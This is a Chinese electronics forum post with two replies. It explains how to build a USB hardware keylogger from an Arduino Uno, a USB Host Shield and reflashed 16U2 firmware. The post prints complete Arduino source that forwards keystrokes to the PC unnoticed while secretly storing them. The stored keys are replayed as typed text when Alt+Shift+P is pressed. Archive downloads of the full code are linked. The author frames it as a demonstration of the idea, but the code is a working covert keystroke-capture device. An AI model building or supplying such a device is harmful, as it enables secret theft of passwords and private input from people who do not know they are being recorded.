找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
查看: 6837|回复: 2
打印 上一主题 下一主题
收起左侧

Arduino打造USB键盘记录器

[复制链接]
跳转到指定楼层
楼主
刚开始玩Arduino 的时候,我尝试试验过一个 PS2键盘记录器:将PS2线剥开,接入Arduino Uno。通过分析PS2协议,键盘上按键随时会被记录在ArduinoEEPROM中【参考1】。


完成之后,我就在思考是否有能记录USB键盘的方法。Arduino 本身使用的主控芯片只有16Mhz,作为USBLow Speed设备发送已经力不从心,更不要说直接对USB 信号采样。后来偶然的机会接触到了 Arduino USB Host Shield,发现这个Shield 作为 USBHost具有解析USB协议的能力,可以控制USB设备,解析USBKeyboard/Mouse 更是不在话下。
抓到了USB 键盘的数据,下面的问题就是如何发送出去。最传统的方法是直接用 ArduinoLeonardo 这样带有USB控制器的板子,但是经过考察,这个型号的SPI部分引脚与Uno差别很大,导致无法直接使用(后面我还会介绍为什么有差别,以及如何解决)。最终找到可以将Uno模拟为USBKeyboard的方法:将Uno上面的Usb转串口芯片代码替换为特殊的Firmware【参考2】,从PC端看去是一个USB Keyboard设备。这个方法的优点是百分百兼容USB Host Shield,缺点是无法直接使用IDE下载,必须用USBISP 之类的设备刷写Uno上的328P 芯片。具体操作可以在【参考3】看到。
最终方案如下:
第一步,使用 USB Host Shield将键盘切换到 Boot Protocol 模式,这样保证所有的USB键盘按照统一的格式输出按键信息;
第二步,Arduino 解析USB键盘的按键信息,解析之后直接存储到内存中;
第三步,接收到特定的组合键后,将USB  键盘的按键信息从Atmel16u2发出去
整个过程对于PC也是透明的。
下面是USB HID Keyboard Boot Protocol 使用的格式,上面提到的解析过程和最后的再次发送的过程都会遵循该格式。
        
位置
      
内容
  
   
0
  
Modifier keys:
  Bit 0 – 左 CTRL
  Bit 1 - 左 SHIFT
  Bit 2 - 左 ALT
  Bit 3 - 左 GUI
  Bit 4 – 右 CTRL
  Bit 5 - 右 SHIFT
  Bit 6 - 右 ALT
  Bit 7 - 右 GUI

   
1
  
保留

   
2 - 7
  
HID协议定义的键值。 这里有6个bytes,可以同时容纳6个按键

例如:
直接按下 Ctrl Usb Host Shield 将会解析出 01 00 0000  00 00 00 00,抬起后还会解析出0000 00 00  00 00 00 00
分别按下 Alt Shift P 键后,UsbHost Shield 将会解析出06 00 13 00 00 00 00 00 ,抬起后还会输出出0000 00 00  00 00 00 00。我们会将这个组合键作为输出记录值的触发条件。

  1. /* MAX3421E USB Host controller LCD/keyboard demonstration */
  2. //#include
  3. #include "Max3421e.h"
  4. #include "Usb.h"

  5. /* keyboard data taken from configuration descriptor */
  6. #define KBD_ADDR        1
  7. #define KBD_EP          1
  8. #define KBD_IF          0
  9. #define EP_MAXPKTSIZE   8
  10. #define EP_POLL         0x0a

  11. #define RECORDBUFSIZE  60

  12. /**/
  13. /* "Sticky keys */
  14. #define CAPSLOCK    (0x39)
  15. #define NUMLOCK     (0x53)
  16. #define SCROLLLOCK  (0x47)
  17. /* Sticky keys output report bitmasks */
  18. #define bmNUMLOCK       0x01
  19. #define bmCAPSLOCK      0x02
  20. #define bmSCROLLLOCK    0x04
  21. /**/
  22. EP_RECORD ep_record[ 2 ];  //endpoint record structure for the keyboard

  23. char buf[ 8 ] = { 0 };      //keyboard buffer
  24. char old_buf[ 8 ] = { 0 };  //last poll
  25. /* Sticky key state */
  26. bool numLock = false;
  27. bool capsLock = false;
  28. bool scrollLock = false;
  29. int addr = 0;

  30. char p = 0;
  31. char KeyRecord[RECORDBUFSIZE];

  32. bool OutputMark = false;

  33. MAX3421E Max;
  34. USB Usb;

  35. void setup() {
  36.   Serial.begin( 9600 );
  37.   //Serial.println("Start");
  38.   Max.powerOn();
  39.   delay( 200 );
  40.   for (int i = 0; i < RECORDBUFSIZE; i++)
  41.   {
  42.     KeyRecord[i] = 0x1D; //Init with 'z'
  43.   }
  44. }

  45. void loop() {
  46.   Max.Task();
  47.   Usb.Task();
  48.   if ( Usb.getUsbTaskState() == USB_STATE_CONFIGURING ) { //wait for addressing state
  49.     kbd_init();
  50.     Usb.setUsbTaskState( USB_STATE_RUNNING );
  51.   }
  52.   if ( Usb.getUsbTaskState() == USB_STATE_RUNNING ) { //poll the keyboard
  53.     kbd_poll();
  54.   }
  55.   if (OutputMark) {
  56.     //Send all data to 16U2
  57.     for (int i = 0; i < RECORDBUFSIZE; i++) {
  58.       //Send all data to 16u2
  59.       Serial.write(0); //Byte 0 == 0
  60.       Serial.write(0); //Byte 1 == 0
  61.       Serial.write(KeyRecord[i]); //Byte 2
  62.       Serial.write(0); //Byte 3
  63.       Serial.write(0); //Byte 4
  64.       Serial.write(0); //Byte 5
  65.       Serial.write(0); //Byte 6
  66.       Serial.write(0); //Byte 7

  67.       Serial.write(0); //Byte 0
  68.       Serial.write(0); //Byte 1
  69.       Serial.write(0); //Byte 2
  70.       Serial.write(0); //Byte 3
  71.       Serial.write(0); //Byte 4
  72.       Serial.write(0); //Byte 5
  73.       Serial.write(0); //Byte 6
  74.       Serial.write(0); //Byte 7

  75.     }
  76.     OutputMark = false;
  77.   }
  78. }
  79. /* Initialize keyboard */
  80. void kbd_init( void )
  81. {
  82.   byte rcode = 0;  //return code
  83.   /**/
  84.   /* Initialize data structures */
  85.   ep_record[ 0 ] = *( Usb.getDevTableEntry( 0, 0 )); //copy endpoint 0 parameters
  86.   ep_record[ 1 ].MaxPktSize = EP_MAXPKTSIZE;
  87.   ep_record[ 1 ].Interval  = EP_POLL;
  88.   ep_record[ 1 ].sndToggle = bmSNDTOG0;
  89.   ep_record[ 1 ].rcvToggle = bmRCVTOG0;
  90.   Usb.setDevTableEntry( 1, ep_record );              //plug kbd.endpoint parameters to devtable
  91.   /* Configure device */
  92.   rcode = Usb.setConf( KBD_ADDR, 0, 1 );
  93.   if ( rcode ) {
  94.     //Serial.print("Error attempting to configure keyboard. Return code :");
  95.     //Serial.println( rcode, HEX );
  96.     while (1); //stop
  97.   }
  98.   /* Set boot protocol */
  99.   rcode = Usb.setProto( KBD_ADDR, 0, 0, 0 );
  100.   if ( rcode ) {
  101.     //Serial.print("Error attempting to configure boot protocol. Return code :");
  102.     //Serial.println( rcode, HEX );
  103.     while ( 1 ); //stop
  104.   }
  105.   delay(2000);
  106.   //Serial.println("Keyboard initialized");
  107. }

  108. /* Poll keyboard and print result */
  109. /* buffer starts at position 2, 0 is modifier key state and 1 is irrelevant */
  110. void kbd_poll( void )
  111. {
  112.   byte i;
  113.   static char leds = 0;
  114.   byte rcode = 0;     //return code

  115.   /* poll keyboard */
  116.   rcode = Usb.inTransfer( KBD_ADDR, KBD_EP, 8, buf );
  117.   if ( rcode != 0 ) {
  118.     return;
  119.   }//if ( rcode..

  120.   i = 0;
  121.   while (i < 8) {
  122.     if (old_buf[i] != buf[i]) {
  123.       i = 0xff;
  124.       break;
  125.     }
  126.     i++;
  127.   }

  128.   if (i == 0xff) { //if new key
  129.     switch ( buf[ 0 ] ) {
  130.       case CAPSLOCK:
  131.         capsLock = ! capsLock;
  132.         leds = ( capsLock ) ? leds |= bmCAPSLOCK : leds &= ~bmCAPSLOCK;       // set or clear bit 1 of LED report byte
  133.         break;
  134.       case NUMLOCK:
  135.         numLock = ! numLock;
  136.         leds = ( numLock ) ? leds |= bmNUMLOCK : leds &= ~bmNUMLOCK;           // set or clear bit 0 of LED report byte
  137.         break;
  138.       case SCROLLLOCK:
  139.         scrollLock = ! scrollLock;
  140.         leds = ( scrollLock ) ? leds |= bmSCROLLLOCK : leds &= ~bmSCROLLLOCK;   // set or clear bit 2 of LED report byte
  141.         break;
  142.       default:
  143.         //By pass all data to 16u2
  144.         Serial.write(buf,8);

  145.         //Save the keyvalue to memory
  146.         for (i = 2; i < 8; i++) {
  147.           if ((buf[i] >= 4) && (buf[i] <= 27)) {
  148.             KeyRecord[p] = buf[i];
  149.             p = (p + 1) % RECORDBUFSIZE;
  150.           }
  151.         }

  152.         //If we get 'Output command', we will output all the data in eeprom
  153.         if ((buf[0] == 0x06) && (buf[2] == 0x13) && (buf[3] == 0x00)) {
  154.           OutputMark = true;
  155.         }

  156.         break;
  157.     }//switch( buf[ i ...

  158.     rcode = Usb.setReport( KBD_ADDR, 0, 1, KBD_IF, 0x02, 0, &leds );

  159.     if ( rcode ) {
  160.       //Serial.print("Set report error: ");
  161.       //Serial.println( rcode, HEX );
  162.     }//if( rcode ...

  163.     for ( i = 0; i < 8; i++ ) {                   //copy new buffer to old
  164.       old_buf[ i ] = buf[ i ];
  165.     }
  166.   }//if (i==0xff) {   //if new key


  167. }
  168. /* compare byte against bytes in old buffer */
  169. bool buf_compare( byte data )
  170. {
  171.   char i;
  172.   for ( i = 0; i < 8; i++ ) {
  173.     if ( old_buf[ i ] == data ) {
  174.       return ( true );
  175.     }
  176.   }
  177.   return ( false );
  178. }

复制代码

上面的程序架构和之前的USB键盘转蓝牙键盘的架构是一样的,具体的设计有兴趣的读者可以在【参考5】看到。
对于按键的记录是这样的:如果发现解析出来的按键信息Byte2-7 不为零才主动存储在内容中,进行循环覆盖。当检测到有左 Alt+Shift+P 按下时,将存储在内存中的键值从USB口再次输出,此时在PC端打开一个记事本工具即可看到内容。本文主要目标是演示思路,所以这部分代码并没有优化,实用性方面较差。




完整代码下载:
KbByPass.zip (16.9 KB, 下载次数: 14)
Arduino 打造USB键盘记录器.rar (11.49 KB, 下载次数: 15)

分享到:  QQ好友和群QQ好友和群 QQ空间QQ空间 腾讯微博腾讯微博 腾讯朋友腾讯朋友
收藏收藏1 分享淘帖 顶 踩
回复

使用道具 举报

沙发
ID:80818 发表于 2017-3-13 19:49 | 只看该作者
感谢分享,期待leonardo的实现方案。
回复

使用道具 举报

板凳
ID:169914 发表于 2017-6-19 20:26 | 只看该作者
奇怪了,我不玩arduino的啊,我玩51单片机的,怎么会发这种贴呢?
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|小黑屋|51黑电子论坛 |51黑电子论坛6群 QQ 管理员QQ:125739409;技术交流QQ群281945664

Powered by 单片机教程网

快速回复 返回顶部 返回列表